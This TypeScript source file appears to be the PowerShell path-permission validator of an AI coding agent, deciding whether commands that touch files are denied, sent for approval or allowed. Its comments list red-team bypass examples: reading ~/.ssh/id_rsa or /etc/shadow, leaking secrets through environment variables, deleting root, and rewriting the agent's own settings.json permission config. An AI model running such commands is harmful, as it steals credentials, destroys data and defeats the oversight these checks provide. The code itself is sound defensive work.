// pass through to path.win32.isAbsolute/resolve which handle them correctly.
// - POSIX: ANY <letters>: prefix is a PowerShell PSDrive β single-letter drive
// paths have no native meaning on Linux/macOS. `New-PSDrive -Name Z -Root /etc`
// then `Get-Content Z:/secrets` would otherwise resolve via
// path.posix.resolve(cwd, 'Z:/secrets') β '{cwd}/Z:/secrets' β inside cwd β
// allowed, bypassing Read(/etc/**) deny rules. We cannot statically know what
// filesystem root a PSDrive maps to, so treat all drive-prefixed paths on
// POSIX as unvalidatable.
// Include digits in PSDrive name (bug #23): `New-PSDrive -Name 1 ...`
// creates drive `1:` β a valid PSDrive path prefix.
// Windows regex requires 2+ chars to exclude single-letter native drive letters
// (C:, D:). Use a single character class [a-z0-9] to catch mixed alphanumeric
// PSDrive names like `a1:`, `1a:` β the previous alternation `[a-z]{2,}|[0-9]+`
// missed those since `a1` is neither pure letters nor pure digits.
const providerPathRegex =
getPlatform() === 'windows' ? /^[a-z0-9]{2,}:/i : /^[a-z0-9]+:/i
if (providerPathRegex.test(normalizedPath)) {
return {
allowed: false,
resolvedPath: normalizedPath,
decisionReason: {
type: 'other',
reason: `Path '${normalizedPath}' uses a non-filesystem provider and requires manual approval`,
},
}
}
// SECURITY: Block glob patterns in write/create operations
if (GLOB_PATTERN_REGEX.test(normalizedPath)) {
if (operationType === 'write' || operationType === 'create') {
return {
allowed: false,
resolvedPath: normalizedPath,
decisionReason: {
type: 'other',
reason:
'Glob patterns are not allowed in write operations. Please specify an exact file path.',
},
}
}
// For read operations with path traversal (e.g., /project/*/../../../etc/shadow),
// resolve the full path (including glob chars) and validate that resolved path.
// This catches patterns that escape the working directory via `..` after the glob.
if (containsPathTraversal(normalizedPath)) {
const absolutePath = isAbsolute(normalizedPath)
? normalizedPath
: resolve(cwd, normalizedPath)
const { resolvedPath, isCanonical } = safeResolvePath(
getFsImplementation(),
absolutePath,
)
const result = isPathAllowed(
resolvedPath,
toolPermissionContext,
operationType,
isCanonical ? [resolvedPath] : undefined,
)
return {
allowed: result.allowed,
resolvedPath,
decisionReason: result.decisionReason,
}
}
// SECURITY (finding #15): Glob patterns for read operations cannot be
// statically validated. getGlobBaseDirectory returns the directory before
// the first glob char; only that base is realpathed. Anything matched by
// the glob (including symlinks) is never examined. Example:
// /project/*/passwd with symlink /project/link β /etc
// Base dir is /project (allowed), but runtime expands * to 'link' and
// reads /etc/passwd. We cannot validate symlinks inside glob expansion
// without actually expanding the glob (requires filesystem access and
// still races with attacker creating symlinks post-validation).
//
// Still check deny rules on the base directory so explicit Read(/project/**)
// deny rules fire. If no deny matches, force ask.
const basePath = getGlobBaseDirectory(normalizedPath)
const absoluteBasePath = isAbsolute(basePath)
? basePath
: resolve(cwd, basePath)
const { resolvedPath } = safeResolvePath(
getFsImplementation(),
absoluteBasePath,
)
const permissionType = operationType === 'read' ? 'read' : 'edit'
const denyRule = matchingRuleForInput(
resolvedPath,
toolPermissionContext,
permissionType,
'deny',
)
if (denyRule !== null) {
return {
allowed: false,
resolvedPath,
decisionReason: { type: 'rule', rule: denyRule },
}
}
return {
allowed: false,
resolvedPath,
decisionReason: {
type: 'other',
reason:
'Glob patterns in paths cannot be statically validated β symlinks inside the glob expansion are not examined. Requires manual approval.',
},
}
}
// Resolve path
const absolutePath = isAbsolute(normalizedPath)
? normalizedPath
: resolve(cwd, normalizedPath)
const { resolvedPath, isCanonical } = safeResolvePath(
getFsImplementation(),
absolutePath,
)
const result = isPathAllowed(
resolvedPath,
toolPermissionContext,
operationType,
isCanonical ? [resolvedPath] : undefined,
)
return {
allowed: result.allowed,
resolvedPath,
decisionReason: result.decisionReason,
}
}
function getGlobBaseDirectory(filePath: string): string {
const globMatch = filePath.match(GLOB_PATTERN_REGEX)
if (!globMatch || globMatch.index === undefined) {
return filePath
}
const beforeGlob = filePath.substring(0, globMatch.index)
const lastSepIndex = Math.max(
beforeGlob.lastIndexOf('/'),
beforeGlob.lastIndexOf('\\'),
)
if (lastSepIndex === -1) return '.'
return beforeGlob.substring(0, lastSepIndex + 1) || '/'
}
/**
* Element types that are safe to extract as literal path strings.
*
* Only element types with statically-known string values are safe for path
* extraction. Variable and ExpandableString have runtime-determined values β
* even though they're defended downstream ($ detection in validatePath's
* `includes('$')` check, and the hasExpandableStrings security flag), excluding
* them here is defense-in-direct: fail-safe at the earliest gate rather than
* relying on downstream checks to catch them.
*
* Any other type (e.g., 'Other' for ArrayLiteralExpressionAst, 'SubExpression',
* 'ScriptBlock', 'Variable', 'ExpandableString') cannot be statically validated
* and must force an ask.
*/
const SAFE_PATH_ELEMENT_TYPES = new Set<string>(['StringConstant', 'Parameter'])
/**
* Extract file paths from a parsed PowerShell command element.
* Uses the AST args to find positional and named path parameters.
*
* If any path argument has a complex elementType (e.g., array literal,
* subexpression) that cannot be statically validated, sets
* hasUnvalidatablePathArg so the caller can force an ask.
*/
function extractPathsFromCommand(cmd: ParsedCommandElement): {
paths: string[]
operationType: FileOperationType
hasUnvalidatablePathArg: boolean
optionalWrite: boolean
} {
const canonical = resolveToCanonical(cmd.name)
const config = CMDLET_PATH_CONFIG[canonical]
if (!config) {
return {
paths: [],
operationType: 'read',
hasUnvalidatablePathArg: false,
optionalWrite: false,
}
}
// Build per-cmdlet known-param sets, merging in common parameters.
const switchParams = [...config.knownSwitches, ...COMMON_SWITCHES]
const valueParams = [...config.knownValueParams, ...COMMON_VALUE_PARAMS]
const paths: string[] = []
const args = cmd.args
// elementTypes[0] is the command name; elementTypes[i+1] corresponds to args[i]
const elementTypes = cmd.elementTypes
let hasUnvalidatablePathArg = false
let positionalsSeen = 0
const positionalSkip = config.positionalSkip ?? 0
function checkArgElementType(argIdx: number): void {
if (!elementTypes) return
const et = elementTypes[argIdx + 1]
if (et && !SAFE_PATH_ELEMENT_TYPES.has(et)) {
hasUnvalidatablePathArg = true
}
}
// Extract named parameter values (e.g., -Path "C:\foo")
for (let i = 0; i < args.length; i++) {
const arg = args[i]
if (!arg) continue
// Check if this arg is a parameter name.
// SECURITY: Use elementTypes as ground truth. PowerShell's tokenizer
// accepts en-dash/em-dash/horizontal-bar (U+2013/2014/2015) as parameter
// prefixes; a raw startsWith('-') check misses `βPath` (en-dash). The
// parser maps CommandParameterAst β 'Parameter' regardless of dash char.
// isPowerShellParameter also correctly rejects quoted "-Include"
// (StringConstant, not a parameter).
const argElementType = elementTypes ? elementTypes[i + 1] : undefined
if (isPowerShellParameter(arg, argElementType)) {
// Handle colon syntax: -Path:C:\secret
// Normalize Unicode dash to ASCII `-` (pathParams are stored with `-`).
const normalized = '-' + arg.slice(1)
const colonIdx = normalized.indexOf(':', 1) // skip first char (the dash)
const paramName =
colonIdx > 0 ? normalized.substring(0, colonIdx) : normalized
const paramLower = paramName.toLowerCase()
if (matchesParam(paramLower, config.pathParams)) {
// Known path parameter β extract its value as a path.
let value: string | undefined
if (colonIdx > 0) {
// Colon syntax: -Path:value β the whole thing is one element.
// SECURITY: comma-separated values (e.g., -Path:safe.txt,/etc/passwd)
// produce ArrayLiteralExpressionAst inside the CommandParameterAst.
// PowerShell writes to ALL paths, but we see a single string.
const rawValue = arg.substring(colonIdx + 1)
if (hasComplexColonValue(rawValue)) {
hasUnvalidatablePathArg = true
} else {
value = rawValue
}
} else {
// Standard syntax: -Path value
const nextVal = args[i + 1]
const nextType = elementTypes ? elementTypes[i + 2] : undefined
if (nextVal && !isPowerShellParameter(nextVal, nextType)) {
value = nextVal
checkArgElementType(i + 1)
i++ // Skip the value
}
}
if (value) {
paths.push(value)
}
} else if (
config.leafOnlyPathParams &&
matchesParam(paramLower, config.leafOnlyPathParams)
) {
// Leaf-only path parameter (e.g., New-Item -Name). PowerShell resolves
// this relative to ANOTHER parameter (-Path), not cwd. validatePath
// resolves against cwd (L930), so non-leaf values (separators,
// traversal) resolve to the WRONG location and can miss deny rules
// (denyβask downgrade). Extract simple leaf filenames; flag anything
// path-like.
let value: string | undefined
if (colonIdx > 0) {
const rawValue = arg.substring(colonIdx + 1)
if (hasComplexColonValue(rawValue)) {
hasUnvalidatablePathArg = true
} else {
value = rawValue
}
} else {
const nextVal = args[i + 1]
const nextType = elementTypes ? elementTypes[i + 2] : undefined
if (nextVal && !isPowerShellParameter(nextVal, nextType)) {
value = nextVal
checkArgElementType(i + 1)
i++
}
}
if (value !== undefined) {
if (
value.includes('/') ||
value.includes('\\') ||
value === '.' ||
value === '..'
) {
// Non-leaf: separators or traversal. Can't resolve correctly
// without joining against -Path. Force ask.
hasUnvalidatablePathArg = true
} else {
// Simple leaf: extract. Resolves to cwd/leaf (slightly wrong β
// should be <-Path>/leaf) but -Path extraction covers the
// directory, and a leaf filename can't traverse out of anywhere.
paths.push(value)
}
}
} else if (matchesParam(paramLower, switchParams)) {
// Known switch parameter β takes no value, do NOT consume next arg.
// (Colon syntax on a switch, e.g., -Confirm:$false, is self-contained
// in one token and correctly falls through here without consuming.)
} else if (matchesParam(paramLower, valueParams)) {
// Known value-taking non-path parameter (e.g., -Encoding UTF8, -Filter *.txt).
// Consume its value; do NOT validate as path, but DO check elementType.
// SECURITY: A Variable elementType (e.g., $env:ANTHROPIC_API_KEY) in any
// argument position means the runtime value is not statically knowable.
// Without this check, `-Value $env:SECRET` would be silently auto-allowed
// in acceptEdits mode because the Variable elementType was never examined.
if (colonIdx > 0) {
// Colon syntax: -Value:$env:FOO β the value is embedded in the token.
// The outer CommandParameterAst 'Parameter' type masks the inner
// expression type. Check for expression markers that indicate a
// non-static value (mirrors pathParams colon-syntax guards).
const rawValue = arg.substring(colonIdx + 1)
if (hasComplexColonValue(rawValue)) {
hasUnvalidatablePathArg = true
}
} else {
const nextArg = args[i + 1]
const nextArgType = elementTypes ? elementTypes[i + 2] : undefined
if (nextArg && !isPowerShellParameter(nextArg, nextArgType)) {
checkArgElementType(i + 1)
i++ // Skip the parameter's value
}
}
} else {
// Unknown parameter β we do not understand this invocation.
// SECURITY: This is the structural fix for the KNOWN_SWITCH_PARAMS
// whack-a-mole. Rather than guess whether this param is a switch
// (and risk swallowing a positional path) or takes a value (and
// risk the same), we flag the whole command as unvalidatable.
// The caller will force an ask.
hasUnvalidatablePathArg = true
// SECURITY: Even though we don't recognize this param, if it uses
// colon syntax (-UnknownParam:/etc/hosts) the bound value might be
// a filesystem path. Extract it into paths[] so deny-rule matching
// still runs. Without this, the value is trapped inside the single
// token and paths=[] means deny rules are never consulted β
// downgrading deny to ask. This is defense-in-depth: the primary
// fix is adding all known aliases to pathParams above.
if (colonIdx > 0) {
const rawValue = arg.substring(colonIdx + 1)
if (!hasComplexColonValue(rawValue)) {
paths.push(rawValue)
}
}
// Continue the loop so we still extract any recognizable paths
// (useful for the ask message), but the flag ensures overall 'ask'.
}
continue
}
// Positional arguments: extract as paths (e.g., Get-Content file.txt)
// The first positional arg is typically the source path.
// Skip leading positionals that are non-path values (e.g., iwr's -Uri).
if (positionalsSeen < positionalSkip) {
positionalsSeen++
continue
}
positionalsSeen++
checkArgElementType(i)
paths.push(arg)
}
return {
paths,
operationType: config.operationType,
hasUnvalidatablePathArg,
optionalWrite: config.optionalWrite ?? false,
}
}
/**
* Checks path constraints for PowerShell commands.
* Extracts file paths from the parsed AST and validates they are
* within allowed directories.
*
* @param compoundCommandHasCd - Whether the full compound command contains a
* cwd-changing cmdlet (Set-Location/Push-Location/Pop-Location/New-PSDrive,
* excluding no-op Set-Location-to-CWD). When true, relative paths in ANY
* statement cannot be trusted β PowerShell executes statements sequentially
* and a cd in statement N changes the cwd for statement N+1, but this
* validator resolves all paths against the stale Node process cwd.
* BashTool parity (BashTool/pathValidation.ts:630-655).
*
* @returns
* - 'ask' if any path command tries to access outside allowed directories
* - 'deny' if a deny rule explicitly blocks the path
* - 'passthrough' if no path commands were found or all paths are valid
*/
export function checkPathConstraints(
input: { command: string },
parsed: ParsedPowerShellCommand,
toolPermissionContext: ToolPermissionContext,
compoundCommandHasCd = false,
): PermissionResult {
if (!parsed.valid) {
return {
behavior: 'passthrough',
message: 'Cannot validate paths for unparsed command',
}
}
// SECURITY: Two-pass approach β check ALL statements/paths so deny rules
// always take precedence over ask. Without this, an ask on statement 1
// could return before checking statement 2 for deny rules, letting the
// user approve a command that includes a denied path.
let firstAsk: PermissionResult | undefined
for (const statement of parsed.statements) {
const result = checkPathConstraintsForStatement(
statement,
toolPermissionContext,
compoundCommandHasCd,
)
if (result.behavior === 'deny') {
return result
}
if (result.behavior === 'ask' && !firstAsk) {
firstAsk = result
}
}
return (
firstAsk ?? {
behavior: 'passthrough',
message: 'All path constraints validated successfully',
}
)
}
function checkPathConstraintsForStatement(
statement: ParsedPowerShellCommand['statements'][number],
toolPermissionContext: ToolPermissionContext,
compoundCommandHasCd = false,
): PermissionResult {
const cwd = getCwd()
let firstAsk: PermissionResult | undefined
// SECURITY: BashTool parity β block path operations in compound commands
// containing a cwd-changing cmdlet (BashTool/pathValidation.ts:630-655).
//
// When the compound contains Set-Location/Push-Location/Pop-Location/
// New-PSDrive, relative paths in later statements resolve against the
// CHANGED cwd at runtime, but this validator resolves them against the
// STALE getCwd() snapshot. Example attack (finding #3):
// Set-Location ./.claude; Set-Content ./settings.json '...'
// Validator sees ./settings.json β /project/settings.json (not a config file).
// Runtime writes /project/.claude/settings.json (Claude's permission config).
//
// ALTERNATIVE APPROACH (rejected): simulate cwd through the statement chain
// β after `Set-Location ./.claude`, validate subsequent statements with
// cwd='./.claude'. This would be more permissive but requires careful
// handling of:
// - Push-Location/Pop-Location stack semantics
// - Set-Location with no args (β home on some platforms)
// - New-PSDrive root mapping (arbitrary filesystem root)
// - Conditional/loop statements where cd may or may not execute
// - Error cases where the cd target can't be statically determined
// For now we take the conservative approach of requiring manual approval.
//
// Unlike BashTool which gates on `operationType !== 'read'`, we also block
// READS (finding #27): `Set-Location ~; Get-Content ./.ssh/id_rsa` bypasses
// Read(~/.ssh/**) deny rules because the validator matched the deny against
// /project/.ssh/id_rsa. Reads from mis-resolved paths leak data just as
// writes destroy it. We still run deny-rule matching below (via firstAsk,
// not early return) so explicit deny rules on the stale-resolved path are
// honored β deny > ask in the caller's reduce.
if (compoundCommandHasCd) {
firstAsk = {
behavior: 'ask',
message:
'Compound command changes working directory (Set-Location/Push-Location/Pop-Location/New-PSDrive) β relative paths cannot be validated against the original cwd and require manual approval',
decisionReason: {
type: 'other',
reason:
'Compound command contains cd with path operation β manual approval required to prevent path resolution bypass',
},
}
}
// SECURITY: Track whether this statement contains a non-CommandAst pipeline
// element (string literal, variable, array expression). PowerShell pipes
// these values to downstream cmdlets, often binding to -Path. Example:
// `'/etc/passwd' | Remove-Item` β the string is piped to Remove-Item's -Path,
// but Remove-Item has no explicit args so extractPathsFromCommand returns
// zero paths and the command would passthrough. If ANY downstream cmdlet
// appears alongside an expression source, we force an ask β the piped
// path is unvalidatable regardless of operation type (reads leak data;
// writes destroy it).
let hasExpressionPipelineSource = false
// Track the non-CommandAst element's text for deny-rule guessing (finding #23).
// `'.git/hooks/pre-commit' | Remove-Item` β path comes via pipeline, paths=[]
// from extractPathsFromCommand, so the deny loop below never iterates. We
// feed the pipeline-source text through checkDenyRuleForGuessedPath so
// explicit Edit(.git/**) deny rules still fire.
let pipelineSourceText: string | undefined
for (const cmd of statement.commands) {
if (cmd.elementType !== 'CommandAst') {
hasExpressionPipelineSource = true
pipelineSourceText = cmd.text
continue
}
const { paths, operationType, hasUnvalidatablePathArg, optionalWrite } =
extractPathsFromCommand(cmd)
// SECURITY: Cmdlet receiving piped path from expression source.
// `'/etc/shadow' | Get-Content` β Get-Content extracts zero paths
// (no explicit args). The path comes from the pipeline, which we cannot
// statically validate. Previously exempted reads (`operationType !== 'read'`),
// but that was a bypass (review comment 2885739292): reads from
// unvalidatable paths are still a security risk. Ask regardless of op type.
if (hasExpressionPipelineSource) {
const canonical = resolveToCanonical(cmd.name)
// SECURITY (finding #23): Before falling back to ask, check if the
// pipeline-source text matches a deny rule. `'.git/hooks/pre-commit' |
// Remove-Item` should DENY (not ask) when Edit(.git/**) is configured.
// Strip surrounding quotes (string literals are quoted in .text) and
// feed through the same deny-guess helper used for ::/backtick paths.
if (pipelineSourceText !== undefined) {
const stripped = pipelineSourceText.replace(/^['"]|['"]$/g, '')
const denyHit = checkDenyRuleForGuessedPath(
stripped,
cwd,
toolPermissionContext,
operationType,
)
if (denyHit) {
return {
behavior: 'deny',
message: `${canonical} targeting '${denyHit.resolvedPath}' was blocked by a deny rule`,
decisionReason: { type: 'rule', rule: denyHit.rule },
}
}
}
firstAsk ??= {
behavior: 'ask',
message: `${canonical} receives its path from a pipeline expression source that cannot be statically validated and requires manual approval`,
}
// Don't continue β fall through to path loop so deny rules on
// extracted paths are still checked.
}
// SECURITY: Array literals, subexpressions, and other complex
// argument types cannot be statically validated. An array literal
// like `-Path ./safe.txt, /etc/passwd` produces a single 'Other'
// element whose combined text may resolve within CWD while
// PowerShell actually writes to ALL paths in the array.
if (hasUnvalidatablePathArg) {
const canonical = resolveToCanonical(cmd.name)
firstAsk ??= {
behavior: 'ask',
message: `${canonical} uses a parameter or complex path expression (array literal, subexpression, unknown parameter, etc.) that cannot be statically validated and requires manual approval`,
}
// Don't continue β fall through to path loop so deny rules on
// extracted paths are still checked.
}
// SECURITY: Write cmdlet in CMDLET_PATH_CONFIG that extracted zero paths.
// Either (a) the cmdlet has no args at all (`Remove-Item` alone β
// PowerShell will error, but we shouldn't optimistically assume that), or
// (b) we failed to recognize the path among the args (shouldn't happen
// with the unknown-param fail-safe, but defense-in-depth). Conservative:
// write operation with no validated target β ask.
// Read cmdlets and pop-location (pathParams: []) are exempt.
// optionalWrite cmdlets (Invoke-WebRequest/Invoke-RestMethod without
// -OutFile) are ALSO exempt β they only write to disk when a pathParam is
// present; without one, output goes to the pipeline. The
// hasUnvalidatablePathArg check above already covers unknown-param cases.
if (
operationType !== 'read' &&
!optionalWrite &&
paths.length === 0 &&
CMDLET_PATH_CONFIG[resolveToCanonical(cmd.name)]
) {
const canonical = resolveToCanonical(cmd.name)
firstAsk ??= {
behavior: 'ask',
message: `${canonical} is a write operation but no target path could be determined; requires manual approval`,
}
continue
}
// SECURITY: bash-parity hard-deny for removal cmdlets on
// system-critical paths. BashTool has isDangerousRemovalPath which
// hard-DENIES `rm /`, `rm ~`, `rm /etc`, etc. regardless of user config.
// Port: remove-item (and aliases rm/del/ri/rd/rmdir/erase β resolveToCanonical)
// on a dangerous path β deny (not ask). User cannot approve system32 deletion.
const isRemoval = resolveToCanonical(cmd.name) === 'remove-item'
for (const filePath of paths) {
// Hard-deny removal of dangerous system paths (/, ~, /etc, etc.).
// Check the RAW path (pre-realpath) first: safeResolvePath can
// canonicalize '/' β 'C:\' (Windows) or '/var/...' β '/private/var/...'
// (macOS) which defeats isDangerousRemovalPath's string comparisons.
if (isRemoval && isDangerousRemovalRawPath(filePath)) {
return dangerousRemovalDeny(filePath)
}
const { allowed, resolvedPath, decisionReason } = validatePath(
filePath,
cwd,
toolPermissionContext,
operationType,
)
// Also check the resolved path β catches symlinks that resolve to a
// protected location.
if (isRemoval && isDangerousRemovalPath(resolvedPath)) {
return dangerousRemovalDeny(resolvedPath)
}
if (!allowed) {
const canonical = resolveToCanonical(cmd.name)
const workingDirs = Array.from(
allWorkingDirectories(toolPermissionContext),
)
const dirListStr = formatDirectoryList(workingDirs)
const message =
decisionReason?.type === 'other' ||
decisionReason?.type === 'safetyCheck'
? decisionReason.reason
: `${canonical} targeting '${resolvedPath}' was blocked. For security, Claude Code may only access files in the allowed working directories for this session: ${dirListStr}.`
if (decisionReason?.type === 'rule') {
return {
behavior: 'deny',
message,
decisionReason,
}
}
const suggestions: PermissionUpdate[] = []
if (resolvedPath) {
if (operationType === 'read') {
const suggestion = createReadRuleSuggestion(
getDirectoryForPath(resolvedPath),
'session',
)
if (suggestion) {
suggestions.push(suggestion)
}
} else {
suggestions.push({
type: 'addDirectories',
directories: [getDirectoryForPath(resolvedPath)],
destination: 'session',
})
}
}
if (operationType === 'write' || operationType === 'create') {
suggestions.push({
type: 'setMode',
mode: 'acceptEdits',
destination: 'session',
})
}
firstAsk ??= {
behavior: 'ask',
message,
blockedPath: resolvedPath,
decisionReason,
suggestions,
}
}
}
}
// Also check nested commands from control flow
if (statement.nestedCommands) {
for (const cmd of statement.nestedCommands) {
const { paths, operationType, hasUnvalidatablePathArg, optionalWrite } =
extractPathsFromCommand(cmd)
if (hasUnvalidatablePathArg) {
const canonical = resolveToCanonical(cmd.name)
firstAsk ??= {
behavior: 'ask',
message: `${canonical} uses a parameter or complex path expression (array literal, subexpression, unknown parameter, etc.) that cannot be statically validated and requires manual approval`,
}
// Don't continue β fall through to path loop for deny checks.
}
// SECURITY: Write cmdlet with zero extracted paths (mirrors main loop).
// optionalWrite cmdlets exempt β see main-loop comment.
if (
operationType !== 'read' &&
!optionalWrite &&
paths.length === 0 &&
CMDLET_PATH_CONFIG[resolveToCanonical(cmd.name)]
) {
const canonical = resolveToCanonical(cmd.name)
firstAsk ??= {
behavior: 'ask',
message: `${canonical} is a write operation but no target path could be determined; requires manual approval`,
}
continue
}
// SECURITY: bash-parity hard-deny for removal on system-critical
// paths β mirror the main-loop check above. Without this,
// `if ($true) { Remove-Item / }` routes through nestedCommands and
// downgrades denyβask, letting the user approve root deletion.
const isRemoval = resolveToCanonical(cmd.name) === 'remove-item'
for (const filePath of paths) {
// Check the RAW path first (pre-realpath); see main-loop comment.
if (isRemoval && isDangerousRemovalRawPath(filePath)) {
return dangerousRemovalDeny(filePath)
}
const { allowed, resolvedPath, decisionReason } = validatePath(
filePath,
cwd,
toolPermissionContext,
operationType,
)
if (isRemoval && isDangerousRemovalPath(resolvedPath)) {
return dangerousRemovalDeny(resolvedPath)
}
if (!allowed) {
const canonical = resolveToCanonical(cmd.name)
const workingDirs = Array.from(
allWorkingDirectories(toolPermissionContext),
)
const dirListStr = formatDirectoryList(workingDirs)
const message =
decisionReason?.type === 'other' ||
decisionReason?.type === 'safetyCheck'
? decisionReason.reason
: `${canonical} targeting '${resolvedPath}' was blocked. For security, Claude Code may only access files in the allowed working directories for this session: ${dirListStr}.`
if (decisionReason?.type === 'rule') {
return {
behavior: 'deny',
message,
decisionReason,
}
}
const suggestions: PermissionUpdate[] = []
if (resolvedPath) {
if (operationType === 'read') {
const suggestion = createReadRuleSuggestion(
getDirectoryForPath(resolvedPath),
'session',
)
if (suggestion) {
suggestions.push(suggestion)
}
} else {
suggestions.push({
type: 'addDirectories',
directories: [getDirectoryForPath(resolvedPath)],
destination: 'session',
})
}
}
if (operationType === 'write' || operationType === 'create') {
suggestions.push({
type: 'setMode',
mode: 'acceptEdits',
destination: 'session',
})
}
firstAsk ??= {
behavior: 'ask',
message,
blockedPath: resolvedPath,
decisionReason,
suggestions,
}
}
}
// Red-team P11/P14: step 5 at powershellPermissions.ts:970 already
// catches this via the same synthetic-CommandExpressionAst mechanism β
// this is belt-and-suspenders so the nested loop doesn't rely on that
// accident. Placed AFTER the path loop so specific asks (blockedPath,
// suggestions) win via ??=.
if (hasExpressionPipelineSource) {
firstAsk ??= {
behavior: 'ask',
message: `${resolveToCanonical(cmd.name)} appears inside a control-flow or chain statement where piped expression sources cannot be statically validated and requires manual approval`,
}
}
}
}
// Check redirections on nested commands (e.g., from && / || chains)
if (statement.nestedCommands) {
for (const cmd of statement.nestedCommands) {
if (cmd.redirections) {
for (const redir of cmd.redirections) {
if (redir.isMerging) continue
if (!redir.target) continue
if (isNullRedirectionTarget(redir.target)) continue
const { allowed, resolvedPath, decisionReason } = validatePath(
redir.target,
cwd,
toolPermissionContext,
'create',
)
if (!allowed) {
const workingDirs = Array.from(
allWorkingDirectories(toolPermissionContext),
)
const dirListStr = formatDirectoryList(workingDirs)
const message =
decisionReason?.type === 'other' ||
decisionReason?.type === 'safetyCheck'
? decisionReason.reason
: `Output redirection to '${resolvedPath}' was blocked. For security, Claude Code may only write to files in the allowed working directories for this session: ${dirListStr}.`
if (decisionReason?.type === 'rule') {
return {
behavior: 'deny',
message,
decisionReason,
}
}
firstAsk ??= {
behavior: 'ask',
message,
blockedPath: resolvedPath,
decisionReason,
suggestions: [
{
type: 'addDirectories',
directories: [getDirectoryForPath(resolvedPath)],
destination: 'session',
},
],
}
}
}
}
}
}
// Check file redirections
if (statement.redirections) {
for (const redir of statement.redirections) {
if (redir.isMerging) continue
if (!redir.target) continue
if (isNullRedirectionTarget(redir.target)) continue
const { allowed, resolvedPath, decisionReason } = validatePath(
redir.target,
cwd,
toolPermissionContext,
'create',
)
if (!allowed) {
const workingDirs = Array.from(
allWorkingDirectories(toolPermissionContext),
)
const dirListStr = formatDirectoryList(workingDirs)
const message =
decisionReason?.type === 'other' ||
decisionReason?.type === 'safetyCheck'
? decisionReason.reason
: `Output redirection to '${resolvedPath}' was blocked. For security, Claude Code may only write to files in the allowed working directories for this session: ${dirListStr}.`
if (decisionReason?.type === 'rule') {
return {
behavior: 'deny',
message,
decisionReason,
}
}
firstAsk ??= {
behavior: 'ask',
message,
blockedPath: resolvedPath,
decisionReason,
suggestions: [
{
type: 'addDirectories',
directories: [getDirectoryForPath(resolvedPath)],
destination: 'session',
},
],
}
}
}
}
return (
firstAsk ?? {
behavior: 'passthrough',
message: 'All path constraints validated successfully',
}
)
}